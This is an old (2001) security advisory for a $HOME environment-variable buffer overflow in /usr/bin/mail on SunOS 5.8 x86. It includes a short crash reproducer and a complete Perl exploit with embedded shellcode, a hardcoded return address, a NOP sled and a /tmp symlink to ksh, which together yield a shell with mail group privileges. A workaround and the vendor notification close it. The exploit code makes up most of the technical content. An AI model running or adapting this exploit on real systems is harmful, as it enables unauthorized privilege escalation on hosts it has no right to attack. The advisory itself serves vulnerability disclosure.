sunhome.txt

` [email protected] Georgi Guninski security advisory #46, 2001  
  
$HOME buffer overflow in SunOS 5.8 x86  
  
Systems affected:  
SunOS 5.8 x86 have not tested on other OSes  
  
Risk: Medium  
Date: 4 June 2001  
  
Legal Notice:  
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. You  
may not modify it and distribute it or distribute parts of it without the author's written  
permission.  
  
Disclaimer:  
The information in this advisory is believed to be true based on experiments though it may be  
false. The opinions expressed in this advisory and program are my own and not of any company.  
The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable  
for any damages caused by direct or indirect use of the information or functionality  
provided by this advisory or program. Georgi Guninski bears no responsibility for content or  
misuse of this advisory or program or any derivatives thereof.  
  
Description:  
There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail leading to  
egid=mail.  
  
Details:  
HOME=`perl -e 'print "A"x1100'` ; export HOME  
mail a  
CTL-C  
  
eip gets smashed with 0x41414141.  
  
Exploit:  
  
#!/usr/bin/perl  
# /usr/bin/mail exploit by Georgi Guninski  
use Env qw($HOME);  
#shell code taken from Pablo Sor's mailx exploit  
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";  
$shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";  
$shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";  
$shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";  
$shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";  
$shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";  
$shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";  
$shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";  
$shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";  
$shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";  
$RET = "\xa0\x6f\x04\x08" ; #may need to change this  
$OVER=1032;  
$ALL=1200;  
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;  
system("/bin/ln -s /bin/ksh /tmp/xx");  
print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress  
CTL-C\n";  
$ENV{HOME}=$buf;  
exec "/usr/bin/mail","A";  
  
Workaround:  
chmod -s /usr/bin/mail  
  
Vendor status:  
Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.  
  
`